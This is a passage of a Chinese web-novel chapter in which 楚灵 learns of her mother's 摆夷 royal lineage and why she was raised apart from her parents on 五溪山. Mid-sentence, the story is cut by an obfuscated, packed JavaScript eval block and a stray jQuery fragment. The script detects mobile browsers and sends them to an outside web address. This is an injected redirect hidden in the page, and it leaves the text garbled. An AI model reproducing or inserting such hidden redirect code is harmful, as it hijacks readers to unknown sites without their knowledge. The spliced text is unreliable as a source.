楚灵心中满是感慨,她更不敢想象,自己的母亲,竟然真的是摆夷公主,如果按照摆夷的律法习俗,公主之后可继承爵位,那么自己的身份,也的确便是摆夷的长公主......
“那......”震撼之后,楚灵思及一事,心中顿时生了疑窦,“既然二十年前就已经重修旧好,为何三年前你们又起兵叛乱?如此,你们岂不是背信弃义?”
更何况,这一场战乱,还是自己亲自去平定的!
楚灵骤然提起此事,摆夷王眸光顿时一缩,似有些难言之隐地将目光移向别处,左右权衡了许久,终于化为一声长叹,“阿灵,你以为你为何从小就被送出金陵,为何自小便不在父母身边教养长大?”
骤然听到这句话,楚灵怔了怔,最终有些黯然的垂下眼睑,久久不语。
这个问题,曾经也是困扰她许多年的事情。
幼年时,有时候师父会带他下山去周边的集市采买,每每她看到与她年龄相仿的孩童都有父母在身边的时候,她也难过和失落过。
她也曾经在深夜惧怕黑暗和雷声轰鸣之时,一遍一遍的想,自己明明是安国公府的姑娘,父母也都健在,却为何要将她送往这荒山上远离父母,在这里拜师学艺?
这个问题,困扰了楚灵许多年,直到今天她也不知道真正的答案。
可能是少年不可及之事终会被其困顿一生,所以即便如今父母已经双双辞世,但是她仍旧苦苦在寻找一个答案,是为了给父母一个交代,也更是为了给自己一个答案。
楚灵的情绪瞬间低落下来,少年时渴望父母双亲的相伴,在她这里几乎是可望而不可及的了。
方才听了摆夷王那样一番讲述,仿佛自己的爹爹和娘亲,都是这世上很好很好的人,但是为何,能够对街边的陌生小儿都释放善意的人,却对自己的亲生女儿,这样冷漠?
摆夷王情不自禁的伸出手,满脸怜爱地轻抚了抚楚灵的肩,双目不自觉已盈然了一层泪光,老泪纵横。
“阿灵,你的相貌,当真是和当年的南芷极为相似,便是眉眼中那几分傲气,宛然便是当年摆夷最骄傲的公主啊!”
楚灵僵在原处,不自觉转过头去,停了许久这才开口,“如你所言,我是南芷公主的女儿,容貌自然是有些相似的。”
这一句话中,颇含怨怼,楚灵几乎控制不住自己微微颤抖的下唇,紧接着说出了后面的话,
“若我的母亲当真是摆夷公主,是你的王妹,如此权势滔天,又为何会将她的亲生女儿送给别人?”
五溪山上的日子,终究是在楚灵的心中留下了一记不可抹除的烙印。
不可否认,师父是待她好的,也从不会苛责于她,但是他究竟并非是自己的亲生父母,他有意无意的疏离和避嫌,还是不能给幼年的楚灵足够的安全感。
山中天气变幻莫测,每至盛夏,夜里常常电闪雷鸣暴雨倾盆。
每到这样的夜晚,别人家的女孩儿都有母亲的陪伴,但是自己却只能抱着被子缩在床角,和跟她差不多大小的桑竹抱在一起,咬着牙挨过难捱的漫漫长夜。
曾经,她也曾去敲过师父的房门,但是师父却只是隔着房门告诉她,你命格本就多有磨难,要尝旁人未尝之苦,一个雷雨之夜若是都不能独自面对,日后又有什么本事去面对更多的纷争。
其实那时候年幼的楚灵并不能理解师父的话中之意,那是她初到五溪山的那一年,对于周遭陌生的一切都只有出自于本能的畏惧和害怕,她只能哭着一遍遍敲响师父的房门,希望能有一个人陪她度过漫漫长夜。
然而,师父的门从始至终都没有打开,他只在里面悠悠长叹了一声,告诉她:现在只有两个选择,要么是回到房间去睡觉,要么就在院中僵持着,她是贵女不可打骂,便罚她身边的桑竹跪到天亮。
楚灵和桑竹情同姐妹,怎忍心让桑竹替自己受罚,于是即便心中再害怕,她最终还是抹着眼泪,一面呜咽着走回了房间。
几年以后,逐渐长大什么懂事的楚灵也明白了那一晚师父狠下心来的良苦用心,但是有些事情虽然明白,却无法忘记。
纵然她明白师父是为了自己好,但也终究无法抹平她心中的那一丝惶惑的凄凉。
她就这样,被迫在五溪山上一日一日的长大成人,练就了如今和金陵贵女截然相反的气场和胆识。
但是,即便再如何坚强,她也终究是一个缺少父母疼爱的女子,这些往事骤然被提起,她又如何能够不痛?
摆夷王长叹一声,声音中似是含了无限感慨:“孩子,孤知道你怨,但是当年……你爹娘,的确是有不得已苦衷……”
提起这些事,摆夷王的声音都有些颤抖:
“当年王妹代摆夷向大晋臣服,两国重修旧好,但是摆夷朝野却并非全然都支持,以丞相为首的旧族不愿同意,当年是孤在其中一力斡旋这才能让先王应允。”
摆夷王的声音逐渐沉了下去,“但丞相带着一众旧族抵死不肯,签下国书以后,丞相便带着旧族直接叛逃了,他们逃出京城以后,更是在各国之中招兵买马,意图动摇摆夷王位。”
什么!楚灵惊愕不已,她竟从没有听说过摆夷朝中竟然发生了这样的事。
“可曾平定叛乱,羁押归案?”
“没有……”摆夷王摇了摇头,无奈地苦笑,“至今都还未曾……”
紧接着,摆夷王这才又说出了后面的事。
当初丞相和一众旧族坚决反对和大晋和谈一事,在反对无果之后,直接率人叛逃出了朝廷。
这些人都是摆夷旧族,手中也很有几分势力,在一段时间的游走集结之下,手中便逐渐养起了一支队伍,躲闪游走于各个山头,占据易守难攻的险要地势,和摆夷朝廷分庭抗礼。
摆夷王气急,也曾多次派兵围剿,但是因为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918881|163509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对方常常昼伏夜出,还多藏身在深山老林之中,因此剿匪之路便格外艰难,几次围剿竟然都是无功而返,摆夷王只能眼睁睁的看着人队伍越来越大,但是却束手无策。
倘若丞相真的只是带人盘踞在山上也就罢了,偏偏他野心勃勃,几次放言说如今的摆夷王族软弱无能,无德无能何以定国。
更是放出谣言说南芷公主误国误民,为了自己的私欲不顾摆夷国运昌隆,实乃人人得而诛之地恶妇。
丞相此人,为人极是阴险狡诈,不仅这样说更是这般做了。他不但几次派杀手前去王宫刺杀摆夷王,更是派人偷偷潜伏去了金陵,欲要暗杀安国公夫妇。
那时候楚灵已经出生,年幼的她没有丝毫防御抵抗的能力,即便如此她也曾几次涉险,若不是府中下人机警,于几次危难之中护下了楚灵的性命,只怕她早已经在当年就做了杀手的刀下之鬼。
然而,若是真的长此以往终究是不行,终于有一次,南芷的父王在睡梦中被贼人惊醒,虽然有人及时赶来挡住了贼人,但他很久缠绵病榻时日无多,如此一来更是在惊惧之中一命呜呼了。
此事给了南芷和楚正勋不小的打击,他们也不敢想象,若真的是他们自己被杀也便罢了,但若是真的牵连到无辜的幼女,又如何能够心安?
那时又逢多事之秋,皇后和太子相继出事,朝野上下人人自危,楚正勋和南芷两人再三思量,既怕她被丞相派来的细作所伤,又怕她被牵连在金陵的是非之中,终于决定将年幼的楚灵送走,以求她能平平安安度日,好好的长大成人。
五溪山,这个在江湖朝堂上没有半点声名的地方,似乎就成了最佳选择。此处隐迹于世间,和京城与摆夷皆无往来,这样一个不起眼的地方,也足以给楚灵藏身避祸。
后面的事,也的确如楚正勋和南芷所料,多年来大小纷争不断。丞相为了重新挑起摆夷和大晋之间的战火,率部下不断在两国边境以摆夷王族的名义处处挑衅。
此举在大晋看来便是番邦之国言而无信背信弃义,几次之后终究忍耐不得,大有再次起兵之势。
眼看当年的和谈之约即将化为乌有,西南又将再起战事,楚正勋和南芷不愿看两国百姓生灵涂炭,便游走于摆夷和大晋之间,充当两国信使,不断从中游说斡旋,以期能互交安定,不受奸人之计。
若是大晋再向摆夷起兵,两国再燃起战火,那么丞相所率的一众叛军便可坐收渔翁之利,若是真让丞相这等好大喜功阴险毒辣之人当了国主,于黎民百姓而言,便是灭顶之灾。
然而,这样的平衡终究是没有维持多久。大晋皇帝驾崩之后,新帝即位,丞相以贺大晋新皇即位为由,竟堂而皇之的出现在了金陵。
他手中带有摆夷通关文牒,一路行来畅然无阻,丞相在金陵足足停了一月有余,然后又神秘失踪了。
没有人知道他去了哪里,一切竟像是从未发生过一样。